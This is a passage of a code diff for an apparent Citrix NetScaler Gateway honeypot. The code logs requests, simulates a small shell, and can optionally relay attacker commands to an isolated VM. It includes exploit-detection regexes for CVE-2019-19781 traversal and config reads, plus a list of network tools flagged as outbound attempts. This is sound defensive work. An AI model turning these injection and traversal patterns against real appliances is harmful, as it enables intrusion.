collections.deque(maxlen=MAX_PENDING) + self.auth_started = time.monotonic() + self.auth_count = 0 + + def path(self, name): + # All paths stay dictionary keys, including traversal and absolute paths. + return posixpath.normpath(posixpath.join(self.cwd, name)) + + +def commands(text): + """Small shell-like grammar; unsupported constructs are recorded, never executed.""" + lexer = shlex.shlex(text, posix=True, punctuation_chars=';&|<>') + lexer.whitespace_split = True + lexer.commenters = '#' + group = [] + for token in lexer: + if token in (';', '&&', '||', '|', '&'): + if group: + yield group + group = [] + else: + group.append(token) + if group: + yield group + + +def simulate(session, text, emit, download=None): + # ponytail: bounded subset, not a POSIX shell; add grammar only from captured evidence. + try: + groups = list(commands(text)) + if len(groups) > 32: + emit('limit', resource='simulated_commands', total=len(groups), retained=32) + groups = groups[:32] + except ValueError: + emit('unsupported', reason='shell_parse', command=text) + return + for tokens in groups: + original = tokens[:] + dest, append = None, False + for operator in ('>>', '>'): + if operator in tokens: + index = tokens.index(operator) + if index + 1 < len(tokens): + dest, append = session.path(tokens[index + 1]), operator == '>>' + tokens = tokens[:index] + break + if not tokens: + continue + name, *args = tokens + name = posixpath.basename(name) + output = '' + supported = True + if name == 'id': + output = 'uid=0(root) gid=0(wheel) groups=0(wheel)\n' + elif name == 'whoami': + output = 'root\n' + elif name == 'uname': + output = 'FreeBSD ns 11.4-RELEASE-p17 FreeBSD 11.4-RELEASE-p17 amd64\n' + elif name == 'pwd': + output = session.cwd + '\n' + elif name == 'cd' and args: + session.cwd = session.path(args[0]) + emit('virtual_directory_change', path=session.cwd) + elif name == 'cat': + for arg in args: + path = session.path(arg) + emit('virtual_file_read', path=path, exists=path in session.files, + content=session.files.get(path, '').encode()) + output = ''.join(session.files.get(session.path(arg), 'cat: No such file or directory\n') for arg in args) + elif name == 'ls': + output = '\n'.join(sorted(session.files)) + '\n' + elif name == 'echo': + output = ' '.join(args) + '\n' + elif name == 'printf' and args: + if args[0] in ('%s', '%s\\n'): + output = ('\n' if args[0].endswith('\\n') else '').join(args[1:]) + if args[0].endswith('\\n'): + output += '\n' + elif len(args) == 1 and '%' not in args[0]: + output = args[0].replace('\\n', '\n') + else: + supported = False + elif name == 'touch' and len(args) == 1: + dest = session.path(args[0]) + output = session.files.get(dest, '') + elif name == 'rm': + for arg in args: + if not arg.startswith('-'): + path = session.path(arg) + emit('virtual_file_delete', path=path, exists=path in session.files, + content=session.files.get(path, '').encode()) + session.files.pop(path, None) + elif name in ('curl', 'wget', 'nc', 'ncat', 'telnet', 'ssh', 'ftp', 'fetch'): + emit('outbound_attempt', argv=original, disposition='recorded_only') + if download and name in ('curl', 'wget', 'fetch'): + download(' '.join(original)) # GET and store the URL's bytes; never executed + supported = False + elif name in (':', 'true', 'mkdir'): + pass + else: + supported = False + emit('simulated_command' if supported else 'unsupported', argv=original, + cwd=session.cwd, output=output[:MAX_FILE], output_truncated=len(output) > MAX_FILE) + if dest and supported: + if dest in session.files or len(session.files) < MAX_FILES: + content = (session.files.get(dest, '') if append else '') + output + session.files[dest] = content[:MAX_FILE] + emit('virtual_file_write', path=dest, bytes=len(session.files[dest]), + content=session.files[dest].encode(), + truncated=len(content) > MAX_FILE) + else: + emit('limit', resource='virtual_files') + + +def extract(value): + """Approximate the documented log-to-core-name transform, without running it.""" + if not re.search(r'pitboss.*PPE.*(?:missed too many heartbeats|unexpectedly died)', value, re.I): + return None + if 'NSPPE' not in value: + return None + tail = 'NSPPE' + value.rsplit('NSPPE', 1)[1] + # The published backtick wrapper carries the full command, spaces included, anywhere in the line. + substitutions = re.findall(r'`([^`]+)`', tail) + if substitutions: + return ';'.join(substitutions) + fields = tail.replace('(', '').replace(')', '').split() + core = '-'.join(fields[:2]) + if ';' not in core: + return None + # Simple semicolon injection without backticks. + return core.split(';', 1)[-1] + + +# Conservative, path-based indicators for known Citrix ADC/Gateway exploitation and probes. +# Every request is already logged in full; these labels make hunting fast without guessing. +SIGNATURES = ( + ('CVE-2019-19781', re.compile(r'/vpn/\.\./vpns|/vpns/(?:cfg|portal|scripts)|\.\./vpns', re.I)), + ('path-traversal', re.compile(r'\.\.(?:/|%2f)|%2e%2e|%252e', re.I)), + ('config-read', re.compile(r'/nsconfig/|/flash/nsconfig|/ns\.conf', re.I)), + ('management-probe', re.compile(r'/(?:gwtest|rapi|cgi-bin|menu|nitro)/', re.I)), +) + + +def exploit_signatures(path): + raw = urllib.parse.unquote(path) + return [name for name, pattern in SIGNATURES if pattern.search(path) or pattern.search(raw)] + + +class Engine: + def __init__(self, emit, delay=1, save=None, fetcher=None): + self.sink, self.save = emit, save + self.delay = delay + self.sessions = collections.OrderedDict() + self.lock = threading.RLock() + self.backend = None + self.fetcher = fetcher + + def emit(self, event, **data): + try: + if 'content' in data: + content = data.pop('content') + data['evidence'] = (self.save(content) if self.save else + dict(sha256=hashlib.sha256(content).hexdigest(), bytes=len(content))) + self.sink(event, **data) + except OSError as error: + raise EvidenceError(str(error)) from error + + def session(self, peer): + # ponytail: per-source state merges clients behind NAT; use validated sessions if needed. + now = time.monotonic() + for key in list(self.sessions): + if now - self.sessions[key].seen > TTL: + self.emit('session_expired', peer=key, session=self.sessions[key].sid, + pending_dropped=len(self.sessions[key].pending)) + del self.sessions[key] + if peer not in self.sessions: + if len(self.sessions) >= MAX_SESSIONS: + key, old = self.sessions.popitem(last=False) + self.emit('session_evicted', peer=key, session=old.sid, pending_dropped=len(old.pending)) + self.sessions[peer] = Session() + state = self.sessions[peer] + state.seen = now + self.sessions.move_to_end(peer) + return state + + def auth_attempt(self, state, context, path): + # ponytail: bounded fixed 5-minute window; raw events support later cross-window analysis. + with self.lock: + now = time.monotonic() + if now - state.auth_started >= 300: + state.auth_started, state.auth_count = now, 0 + state.auth_count += 1 + data = dict(context, path=path, attempts_in_window=state.auth_count, + window_seconds=300, threshold=10, + classification='suspected_brute_force' if state.auth_count >= 10 else 'auth_submission', + outcome='decoy_no_authentication') + self.emit('auth_attempt', **data) + if state.auth_count % 10 == 0: + self.emit('brute_force_suspected', **data) + + def ingest(self, state, candidates, context=None): + context = dict(context or {}, session=state.sid) + for source, value in candidates: + command = extract(value) + if command is not None: + self.emit('injection_candidate', **context, source=source, value=value, + command=command, confidence='heuristic') + if len(state.pending) < MAX_PENDING: + state.pending.append((time.monotonic() + self.delay, command, context)) + else: + self.emit('limit', **context, resource='pending_commands') + + def tick(self): + pending_vm = [] + with self.lock: + for state in self.sessions.values(): + while state.pending and state.pending[0][0] <= time.monotonic(): + _, command, context = state.pending.popleft() + if self.backend: + pending_vm.append((command, context)) + continue + self.emit('simulation_start', **context, command=command) + download = (lambda text: self.fetcher.submit(text, context)) if self.fetcher else None + simulate(state, command, lambda event, **data: self.emit(event, **context, **data), download) + self.emit('simulation_end', **context) + for command, context in pending_vm: + self.backend.execute(command, context) + + +class Server(http.server.ThreadingHTTPServer): + daemon_threads = True + allow_reuse_address = True + + def __init__(self, address, engine, tls=None, proxy_from=None, serve_guest_files=True, + trusted_forwarded=()): + self.engine, self.tls = engine, tls + self.proxy_from = proxy_from + self.serve_guest_files = serve_guest_files + # Only a hop (the PROXY-declared source) inside one of these networks may set client headers. + self.trusted_forwarded = [ipaddress.ip_network(value, strict=False) for value in trusted_forwarded] + self.capture_failed = False + self.slots = threading.BoundedSemaphore(32) + self.local = threading.local() + super().__init__(address, Handler) + + def _trusts_forwarded(self, peer): + try: + address = ipaddress.ip_address(peer) + except ValueError: + return False + return any(address in network for network in self.trusted_forwarded) + + def process_request(self, request, address): + if not self.slots.acquire(blocking=False): + self.engine.emit('connection_rejected', peer=address[0], peer_port=address[1], reason='connection_limit') + self.shutdown_request(request) + return + try: + super().process_request(request, address) + except BaseException: + self.slots.release() + raise + + def process_request_thread(self, request, address): + try: + request.settimeout(5) + if self.proxy_from: + original = address + address, header = proxy_source(request, original, self.proxy_from) + self.engine.emit('trusted_ingress', peer=address[0], peer_port=address[1], + transport_peer=original[0], transport_port=original[1], content=header) + if self.tls: + request = self.tls.wrap_socket(request, server_side=True) + # The hop that connected to us is the PROXY-declared source (or socket peer without PROXY). + self.local.trusted = self._trusts_forwarded(address[0]) + super().process_request_thread(request, address) + except (OSError, ssl.SSLError, ValueError, UnicodeError): + if isinstance(sys.exc_info()[1], EvidenceError): + self.handle_error(request, address) + else: + try: + self.engine.emit('transport_error', peer=address[0], peer_port=address[1], + error=type(sys.exc_info()[1]).__name__) + except EvidenceError as error: + self.stop_capture(error) + self.shutdown_request(request) + finally: + self.slots.release() + + def handle_error(self, request, address): + error = sys.exc_info()[1] + if isinstance(error, EvidenceError): + self.stop_capture(error) + else: + try: + self.engine.emit('handler_error', peer=address[0], peer_port=address[1], error=type(error).__name__) + except EvidenceError as failure: + self.stop_capture(failure) + + def stop_capture(self, error): + if self.capture_failed: + return + self.capture_failed = True + if self.engine.backend: + try: + self.engine.backend.close(trip=True) + except OSError: + pass + print(f'CAPTURE STOPPED: {error}', file=sys.stderr, flush=True) + threading.Thread(target=self.shutdown, daemon=True).start() + + +class Handler(http.server.BaseHTTPRequestHandler): + server_version = 'Apache' + sys_version = '' + protocol_version = 'HTTP/1.1' + + def version_string(self): + return self.server_version + + def log_message(self, format, *args): + self.event('http_diagnostic', message=format % args) + + def event(self, event, **data): + self.server.engine.emit(event, **self.context, **data) + + def handle_one_request(self): + self.context = dict(request_id=secrets.token_hex(16), peer=self.client_address[0], + peer_port=self.client_address[1], + local_ip=self.connection.getsockname()[0], + local_port=self.connection.getsockname()[1]) + self.status = None + self.body_complete = False + self.started = time.monotonic_ns() + original = self.rfile + recorder = RecordingReader(original, MAX_BODY + 131072) + self.rfile = recorder + try: + self.event('connection', tls=isinstance(self.connection, ssl.SSLSocket), + tls_cipher=self.connection.cipher() if isinstance(self.connection, ssl.SSLSocket) else None) + super().handle_one_request() + except EvidenceError: + raise + except (TimeoutError, ConnectionError, OSError) as error: + self.event('request_interrupted', reason=type(error).__name__) + finally: + self.rfile = original + self.event('request_end', status=self.status, + duration_ms=(time.monotonic_ns() - self.started) / 1e6, + body_complete=self.body_complete, wire_truncated=recorder.truncated, + content=bytes(recorder.data), + capture_scope='consumed HTTP bytes after TLS; unread/rejected bytes not captured') + + def send_response(self, code, message=None): + self.status = code + super().send_response(code, message) + + def send_error(self, code, message=None, explain=None): + self.event('http_rejected', status=code, reason=message or self.responses.get(code, ('',))[0]) + super().send_error(code, message, explain) + + def __getattr__(self, name): + if name.startswith('do_'): + return self.handle_decoy + raise AttributeError(name) + + def read_bytes(self, size): + chunks = bytearray() + while len(chunks) < size: + if time.monotonic_ns() - self.started > 30 * 10**9: + raise ValueError('request duration limit') + data = self.rfile.read1(min(65536, size - len(chunks))) + if not data: + raise ValueError('incomplete request body') + chunks.extend(data) + return bytes(chunks) + + def read_body(self): + lengths = self.headers.get_all('Content-Length', []) + transfers = self.headers.get_all('Transfer-Encoding', []) + if len(lengths) > 1 or len(transfers) > 1 or (lengths and transfers): + raise ValueError('ambiguous body framing') + if transfers: + if transfers[0].lower().strip() != 'chunked': + raise ValueError('unsupported transfer encoding') + body = bytearray() + for _ in range(4096): + line = self.rfile.readline(1025) + if len(line) > 1024 or not line.endswith(b'\r\n'): + raise ValueError('invalid chunk header') + size_text = line.split(b';', 1)[0].strip() + if not re.fullmatch(rb'[0-9a-fA-F]+', size_text): + raise ValueError('invalid chunk size') + size = int(size_text, 16) + if len(body) + size > MAX_BODY: + raise OverflowError('body limit') + if size == 0: + trailers = bytearray() + while len(trailers) <= 32768: + line = self.rfile.readline(1025) + trailers.extend(line) + if line == b'\r\n': + self.event('request_trailers', content=bytes(trailers)) + return bytes(body) + if not line or len(line) > 1024: + break + raise ValueError('invalid trailers') + body.extend(self.read_bytes(size)) + if self.read_bytes(2) != b'\r\n': + raise ValueError('invalid chunk terminator') + raise ValueError('chunk count limit') + length = int(lengths[0]) if lengths else 0 + if length < 0: + raise ValueError('negative content length') + if length > MAX_BODY: + raise OverflowError('body limit') + return self.read_bytes(length) + + def capture_body(self, body): + self.event('request_body', content=body, content_type=self.headers.get('Content-Type', '')) + kind = self.headers.get_content_type() + if kind == 'multipart/form-data': + raw_type = self.headers.get('Content-Type', '') + # MIME parsing only: never use a supplied filename as a host path. + message = email.parser.BytesParser(policy=email.policy.default).parsebytes( + ('Content-Type: ' + raw_type + '\r\nMIME-Version: 1.0\r\n\r\n').encode('latin1') + body) + if not message.is_multipart(): + self.event('multipart_parse_error', reason='not multipart; raw body retained') + return [] + fields = [] + for index, part in enumerate(message.walk()): + if index >= 128: + self.event('limit', resource='multipart_parts', raw_body_retained=True) + break + if part.is_multipart(): + continue + payload = part.get_payload(decode=True) or b'' + filename = part.get_filename() + field = part.get_param('name', header='content-disposition') + self.event('upload' if filename is not None else 'multipart_field', + filename=filename, field=field, content_type=part.get_content_type(), + defects=[type(d).__name__ for d in part.defects], content=payload) + if filename is not None and self.server.engine.backend: + self.server.engine.backend.upload(payload, self.context) + if filename is None and len(payload) <= 65536: + fields.append((field or '', payload.decode('utf-8', 'replace'))) + return fields + if kind == 'application/x-www-form-urlencoded': + if len(body) > 65536: + self.event('limit', resource='form_decoding', raw_body_retained=True) + return [] + try: + fields = urllib.parse.parse_qsl(body.decode('utf-8', 'replace'), max_num_fields=128) + self.event('form_fields', fields=fields) + return fields + except ValueError: + self.event('form_parse_error', raw_body_retained=True) + return [] + if body: + self.event('upload_or_raw_payload', filename=None, content=body) + if self.server.engine.backend: + self.server.engine.backend.upload(body, self.context) + return [] + + def handle_decoy(self): + engine = self.server.engine + # Trusted Cloudflare/edge headers only when the connecting hop is a configured proxy. + if getattr(self.server.local, 'trusted', False) and self.headers is not None: + client, source = forwarded_client(self.headers) + if client and client != self.client_address[0]: + self.context.update(peer=client, client_ip_source=source, + proxy_peer=self.client_address[0]) + self.client_address = (client, self.client_address[1]) + with engine.lock: + state = engine.session(self.client_address[0]) + self.context['session'] = state.sid + if engine.backend: + engine.backend.register_peer(self.client_address[0]) + self.event('request', method=self.command, uri=self.path, version=self.request_version, + headers=list(self.headers.raw_items())) + signatures = exploit_signatures(self.path) + if signatures: + self.event('exploit_attempt', signatures=signatures, uri=self.path) + if sum(len(k) + len(v) for k, v in self.headers.items()) > 32768: + self.send_error(431) + return + try: + body = self.read_body() + except (ValueError, OverflowError) as error: + self.send_error(413 if isinstance(error, OverflowError) else 400, str(error)) + return + self.body_complete = True + fields = self.capture_body(body) + try: + url = urllib.parse.urlsplit(self.path) + except ValueError: + self.send_error(400, 'invalid URL') + return + auth_fields = {key.lower() for key, _ in fields} + if self.command == 'POST' and (url.path.startswith('/nf/auth/') or + url.path in ('/vpn/login', '/vpn/login.html', '/cgi/login') or + auth_fields.intersection({'passwd', 'password', 'pwd', 'passcode'})): + engine.auth_attempt(state, self.context, url.path) + vm_read_path = None + with engine.lock: + candidates = [('uri', urllib.parse.unquote(self.path))] + candidates += [('header:' + key, value) for key, value in self.headers.items()] + candidates += [('form:' + key, value) for key, value in fields] + engine.ingest(state, candidates, self.context) + code, data, mime = 200, LOGIN, 'text/html; charset=utf-8' + if url.path in STATIC: + data, mime = STATIC[url.path] + elif url.path.startswith('/nf/auth/'): + data = ('' + 'successmore-info' + '' + html.escape(state.sid) + '' + '').encode() + mime = 'application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8' + elif url.path not in LOGIN_PATHS: + key = posixpath.normpath(WEBROOT + '/' + urllib.parse.unquote(url.path).lstrip('/')) + if not self.server.serve_guest_files: + code, data = 404, b'Not Found' + elif engine.backend and key.startswith(WEBROOT + '/'): + vm_read_path = key + code, data = 404, b'Not Found' + elif key.startswith(WEBROOT + '/') and key in state.files: + data = state.files[key].encode() + mime = 'text/plain; charset=utf-8' + self.event('virtual_file_http_read', path=key, content=data) + else: + code, data = 404, b'Not Found' + if vm_read_path: + result = engine.backend.read(vm_read_path, self.context) + if result is not None: + code, data, mime = 200, result, 'text/plain; charset=utf-8' + # Headers shaped like the real NetScaler Gateway AAA response; HTTP/1.1 keep-alive is default. + headers = [('Content-Type', mime), ('Content-Length', str(len(data))), + ('Cache-Control', 'no-cache, no-store, must-revalidate'), + ('Pragma', 'no-cache'), ('Expires', '0'), + ('X-Frame-Options', 'SAMEORIGIN'), ('X-Content-Type-Options', 'nosniff'), + ('X-XSS-Protection', '1; mode=block'), + ('Set-Cookie', f'NSC_AAAC={state.sid}; Path=/; Secure; HttpOnly'), + ('Content-Security-Policy', + "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; " + "img-src 'self' data:; font-src 'self'; frame-ancestors 'self'; " + "connect-src 'self' citrixng:// com.citrix.nsgclient:// nsgcepa://; " + "report-uri /nscsp_violation/report_uri")] + self.event('response', status=code, headers=headers, content=data, + body_suppressed=self.command == 'HEAD') + self.send_response(code) + for key, value in headers: + self.send_header(key, value) + self.end_headers() + if self.command != 'HEAD': + self.wfile.write(data) + self.event('response_sent', status=code, body_bytes=0 if self.command == 'HEAD' else len(data)) + + +def parse_trusted(spec): + """Split a comma-separated CIDR list; @path reads one CIDR per line from a file.""" + items = [] + for raw in (spec or '').split(','): + raw = raw.strip() + if not raw: + continue + if raw.startswith('@'): + items.extend(line.strip() for line in pathlib.Path(raw[1:]).read_text().splitlines()) + else: + items.append(raw) + result = [item for item in items if item and not item.startswith('#')] + for item in result: + ipaddress.ip_network(item, strict=False) + return result + + +def main(): + load() + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--hide-guest-files', action='store_true', help='serve only fixed NetScaler UI/auth routes over HTTP') + parser.add_argument('--vm-config', default=os.environ.get('DECOY_VM_CONFIG') or None, + help='opt-in dedicated disposable guest SSH configuration') + parser.add_argument('--allow-real-execution', action='store_true', + help='required with --vm-config; real attacker commands then run in the isolated guest') + parser.add_argument('--bind', default=os.environ.get('HONEYPOT_BIND', '127.0.0.1')) + parser.add_argument('--port', type=int, default=env_int('HONEYPOT_PORT', 8443)) + parser.add_argument('--cert') + parser.add_argument('--key') + parser.add_argument('--proxy-protocol-from', default=os.environ.get('HONEYPOT_PROXY_PROTOCOL_FROM') or None, + help='require PROXY v1 only from this exact trusted transport IP') + parser.add_argument('--trusted-forwarded-from', default=os.environ.get('HONEYPOT_TRUSTED_FORWARDED_FROM') or None, + help='comma-separated CIDRs whose CF-Connecting-IP/X-Forwarded-For headers are trusted') + parser.add_argument('--fetch-payloads', action='store_true', + help='download payload URLs from attacker commands (HTTP GET only; never executed)') + parser.add_argument('--delay', type=float, default=1, + help='simulated log processing delay in seconds (real appliance may take 24h)') + parser.add_argument('--log-dir', default=os.environ.get('HONEYPOT_LOG_DIR', str(pathlib.Path(__file__).parent / 'logs'))) + parser.add_argument('--evidence-mib', type=int, default=env_int('HONEYPOT_EVIDENCE_MIB', 1024), + help='total evidence quota; stop rather than overwrite at this limit') + args = parser.parse_args() + if bool(args.cert) != bool(args.key) or not 0 <= args.delay <= 86400 or args.evidence_mib < 1: + parser.error('provide both cert/key; delay must be 0..86400; evidence-mib must be positive') + if args.vm_config and not args.allow_real_execution: + parser.error('--vm-config requires --allow-real-execution; keep internet-facing listeners in simulation mode') + if args.allow_real_execution and not args.vm_config: + parser.error('--allow-real-execution requires --vm-config') + os.umask(0o077) + directory = pathlib.Path(args.log_dir) + evidence = Evidence(directory, args.evidence_mib * 1024 * 1024) + context = None + if args.cert: + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(args.cert, args.key) + engine = Engine(evidence.emit, args.delay, evidence.save) + try: + server = Server((args.bind, args.port), engine, context, args.proxy_protocol_from, + serve_guest_files=not args.hide_guest_files, + trusted_forwarded=parse_trusted(args.trusted_forwarded_from)) + except (OSError, ValueError) as error: + parser.error(f'invalid --trusted-forwarded-from: {error}') + if args.fetch_payloads: + from payload_fetch import Fetcher + engine.fetcher = Fetcher(engine.emit, on_failure=server.stop_capture) + if args.vm_config: + from vm_backend import VMBackend + engine.backend = VMBackend(args.vm_config, engine.emit) + engine.backend.on_failure = server.stop_capture + stopping = threading.Event() + def worker(): + while not stopping.wait(0.25): + try: + engine.tick() + except EvidenceError as error: + server.stop_capture(error) + break + threading.Thread(target=worker, daemon=True).start() + engine.emit('start', mode='disposable_vm' if engine.backend else 'simulation', bind=args.bind, port=server.server_port, + delay=args.delay, evidence_quota_bytes=evidence.quota, max_body_bytes=MAX_BODY, + serve_guest_files=server.serve_guest_files, real_execution=bool(engine.backend), + payload_fetch=bool(engine.fetcher)) + if engine.backend: + print('WARNING: real execution enabled; attacker commands run only in the isolated disposable guest', + file=sys.stderr, flush=True) + if engine.fetcher: + print('Payload fetch enabled: attacker URLs are downloaded (HTTP GET only, never executed)', + file=sys.stderr, flush=True) + print(f"Decoy: {'https' if context else 'http'}://{args.bind}:{server.server_port}; logs: {directory}", flush=True) + try: + server.serve_forever() + except KeyboardInterrupt: + pass + finally: + stopping.set() + if engine.backend: + engine.backend.close() + server.server_close() + evidence.close() + if server.capture_failed: + raise SystemExit(1) + + +if __name__ == '__main__': + main() diff --git a/ingress_proxy.py b/ingress_proxy.py new file mode 100644 index 0000000..c5b4d40 --- /dev/null +++ b/ingress_proxy.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python3 +"""TCP forwarding with trusted PROXY v1 metadata, before any TLS bytes.""" +import argparse +import asyncio +import ipaddress +import os + +from env_file import load, env_int + + +async def forward(reader, writer, target_host, target_port): + upstream = None + try: + peer = writer.get_extra_info('peername') + local = writer.get_extra_info('sockname') + family = 'TCP6' if ipaddress.ip_address(peer[0]).version == 6 else 'TCP4' + remote, upstream = await asyncio.wait_for(asyncio.open_connection(target_host, target_port), 5) + upstream.write(f'PROXY {family} {peer[0]} {local[0]} {peer[1]} {local[1]}\r\n'.encode('ascii')) + await upstream.drain() + async def copy(source, destination): + while data := await asyncio.wait_for(source.read(65536), 60): + destination.write(data) + await asyncio.wait_for(destination.drain(), 10) + if destination.can_write_eof(): + destination.write_eof() + await asyncio.wait_for(asyncio.gather(copy(reader, upstream), copy(remote, writer)), 120) + except (OSError, asyncio.TimeoutError): + pass + finally: + if upstream: + upstream.close() + writer.close() + + +async def serve(args): + active = set() + allowed = [ipaddress.ip_network(item.strip(), strict=False) + for item in (args.allow_from or '').split(',') if item.strip()] + + def permitted(peer): + return not allowed or any(ipaddress.ip_address(peer[0]) in network for network in allowed) + + async def accept(reader, writer): + if len(active) >= 64 or not permitted(writer.get_extra_info('peername')): + writer.close() + return + task = asyncio.current_task() + active.add(task) + try: + await forward(reader, writer, args.target, args.target_port) + finally: + active.discard(task) + server = await asyncio.start_server(accept, args.bind, args.port, limit=65536) + async with server: + await server.serve_forever() + + +if __name__ == '__main__': + load() + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument('--bind', default=os.environ.get('INGRESS_BIND', '127.0.0.1')) + parser.add_argument('--port', type=int, default=env_int('INGRESS_PORT', 18443)) + parser.add_argument('--target', default=os.environ.get('INGRESS_TARGET', '127.0.0.1')) + parser.add_argument('--target-port', type=int, default=env_int('INGRESS_TARGET_PORT', 19443)) + parser.add_argument('--allow-from', default=os.environ.get('INGRESS_ALLOW_FROM', ''), + help='comma-separated CIDRs allowed to connect (empty = any)') + asyncio.run(serve(parser.parse_args())) diff --git a/network_capture.py b/network_capture.py new file mode 100644 index 0000000..d7f2dab --- /dev/null +++ b/network_capture.py @@ -0,0 +1,289 @@ +"""Bounded, recording TCP egress broker and Linux transparent guest relay. + +Guest metadata is untrusted. The outside broker makes all destination decisions. +No TLS interception: encrypted stream bytes remain encrypted evidence. +""" +import argparse +import ipaddress +import json +import os +import pathlib +import select +import socket +import socketserver +import stat +import struct +import threading +import time +import uuid + +from evidence import Evidence + +MAX_STREAM = 16 * 1024 * 1024 +TTL = 600 +STOP = pathlib.Path('/var/lib/decoy/STOP') + + +def public_ip(value): + ip = ipaddress.IPv4Address(value) + if not ip.is_global or ip.is_multicast or ip.is_reserved: + raise ValueError('destination is not public unicast IPv4') + return str(ip) + + +def read_message(sock): + data = bytearray() + while len(data) < 4096: + char = sock.recv(1) + if char == b'\n': + message = json.loads(data) + if not isinstance(message, dict): + raise ValueError('expected object') + return message + if not char: + raise ValueError('incomplete request') + data.extend(char) + raise ValueError('request too large') + + +def send_message(sock, value): + sock.sendall(json.dumps(value, separators=(',', ':')).encode() + b'\n') + + +def allowed_peers(path): + try: + fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK) + with os.fdopen(fd, 'rb') as stream: + info = os.fstat(stream.fileno()) + if not stat.S_ISREG(info.st_mode) or info.st_uid != 0 or info.st_mode & 0o022 or time.time() - info.st_mtime > 3600: + return set() + data = stream.read(65537) + if len(data) > 65536: + return set() + peers = json.loads(data) + if not isinstance(peers, list): + return set() + result = set() + for peer in peers: + try: + if isinstance(peer, str): + result.add(public_ip(peer)) + except ValueError: + pass + return result + except (OSError, ValueError, TypeError): + return set() + + +def pipe(left, right, record=None, stopped=lambda: False): + """Preserve chunk ordering; record before forwarding, including binary bytes.""" + streams = {left: (right, 'guest_to_remote'), right: (left, 'remote_to_guest')} + deadline, total, sequence = time.monotonic() + TTL, 0, 0 + while streams: + if stopped(): + return 'capture_stopped', total + if time.monotonic() >= deadline: + return 'lifetime_limit', total + ready, _, _ = select.select(list(streams), [], [], max(0, min(1, deadline - time.monotonic()))) + for source in ready: + target, direction = streams[source] + data = source.recv(min(16384, MAX_STREAM - total + 1)) + if not data: + target.shutdown(socket.SHUT_WR) + del streams[source] + continue + if total + len(data) > MAX_STREAM: + if record: + record(sequence, direction, data, forwarded=False) + return 'byte_limit', total + if record: + record(sequence, direction, data, forwarded=True) + sequence += 1 + target.sendall(data) + total += len(data) + return 'eof', total + + +class Server(socketserver.ThreadingTCPServer): + allow_reuse_address = True + daemon_threads = True + + def __init__(self, address, handler, **settings): + self.__dict__.update(settings) + self.slots = threading.BoundedSemaphore(32) + self.failed = threading.Event() + super().__init__(address, handler) + + def process_request(self, request, address): + if self.failed.is_set() or STOP.exists() or not self.slots.acquire(False): + request.close() + return + try: + super().process_request(request, address) + except BaseException: + self.slots.release() + raise + + def process_request_thread(self, request, address): + try: + super().process_request_thread(request, address) + finally: + self.slots.release() + + +class Broker(socketserver.BaseRequestHandler): + def fail(self): + self.server.failed.set() + STOP.parent.mkdir(parents=True, exist_ok=True) + STOP.touch(mode=0o600, exist_ok=True) + + def event(self, kind, **data): + if self.server.failed.is_set() or STOP.exists(): + raise OSError('evidence failed') + try: + self.server.evidence.emit(kind, connection_id=self.cid, reported_guest=self.client_address[0], **data) + except OSError: + self.fail() + raise + + def chunk(self, sequence, direction, data, forwarded): + try: + blob = self.server.evidence.save(data) + self.event('network_chunk', sequence=sequence, direction=direction, forwarded=forwarded, **blob) + except OSError: + self.fail() + raise + + def handle(self): + self.cid = uuid.uuid4().hex + self.request.settimeout(10) + connected = False + try: + message = read_message(self.request) + self.event('network_request', untrusted_request=message) + if message.get('op') == 'dns': + name = message.get('name') + if not isinstance(name, str) or len(name) > 253 or not all(c.isascii() and (c.isalnum() or c in '.-') for c in name): + raise ValueError('invalid DNS name') + addresses = set() + for answer in socket.getaddrinfo(name, None, socket.AF_INET, socket.SOCK_STREAM): + try: + addresses.add(public_ip(answer[4][0])) + except ValueError: + pass + answers = sorted(addresses)[:16] + self.event('dns_result', name=name, addresses=answers) + send_message(self.request, {'ok': True, 'addresses': answers}) + return + if message.get('op') != 'connect': + raise ValueError('unknown operation') + ip = public_ip(message.get('ip')) + port = message.get('port') + if type(port) is not int or not 1 <= port <= 65535: + raise ValueError('invalid port') + if port not in (80, 443) and ip not in allowed_peers(self.server.peers): + raise ValueError('port requires registered attacker peer') + # Numeric IP only: DNS cannot rebind between policy and connect. + with socket.create_connection((ip, port), timeout=10) as remote: + self.event('network_connected', destination_ip=ip, destination_port=port) + send_message(self.request, {'ok': True, 'connection_id': self.cid}) + connected = True + reason, count = pipe(self.request, remote, self.chunk, lambda: self.server.failed.is_set() or STOP.exists()) + self.event('network_end', reason=reason, bytes=count) + except (OSError, ValueError, TypeError) as exc: + try: + self.event('network_closed', reason=str(exc)[:300]) + if not connected: + send_message(self.request, {'ok': False, 'error': 'connection denied or ended'}) + except OSError: + pass + + +class Relay(socketserver.BaseRequestHandler): + def handle(self): + self.request.settimeout(10) + try: + original = self.request.getsockopt(socket.SOL_IP, 80, 16) # Linux SO_ORIGINAL_DST + port = struct.unpack('!H', original[2:4])[0] + ip = socket.inet_ntoa(original[4:8]) + with socket.create_connection(self.server.broker, timeout=10) as remote: + send_message(remote, {'op': 'connect', 'ip': ip, 'port': port}) + if read_message(remote).get('ok'): + pipe(self.request, remote) + except (OSError, ValueError): + pass + + +def dns_reply(packet, broker): + if len(packet) < 12 or len(packet) > 512: + return None + ident, flags, questions, _, _, _ = struct.unpack('!6H', packet[:12]) + if questions != 1 or flags & 0xf800: + return None + labels, offset = [], 12 + while offset < len(packet): + size = packet[offset] + offset += 1 + if not size: + break + if size > 63 or offset + size > len(packet): + return None + try: + labels.append(packet[offset:offset + size].decode('ascii')) + except UnicodeDecodeError: + return None + offset += size + if offset + 4 != len(packet): + return None + qtype, qclass = struct.unpack('!HH', packet[offset:]) + addresses, rcode = [], 0 + if qclass == 1 and qtype == 1: + try: + with socket.create_connection(broker, timeout=5) as remote: + send_message(remote, {'op': 'dns', 'name': '.'.join(labels)}) + reply = read_message(remote) + addresses = [public_ip(a) for a in reply.get('addresses', [])][:16] if reply.get('ok') else [] + if not addresses: + rcode = 3 + except (OSError, ValueError, TypeError): + rcode = 2 + # Empty answer for AAAA/unsupported types avoids leaking around the broker. + header = struct.pack('!6H', ident, 0x8080 | (flags & 0x100) | rcode, 1, len(addresses), 0, 0) + answers = b''.join(b'\xc0\x0c' + struct.pack('!HHIH', 1, 1, 30, 4) + 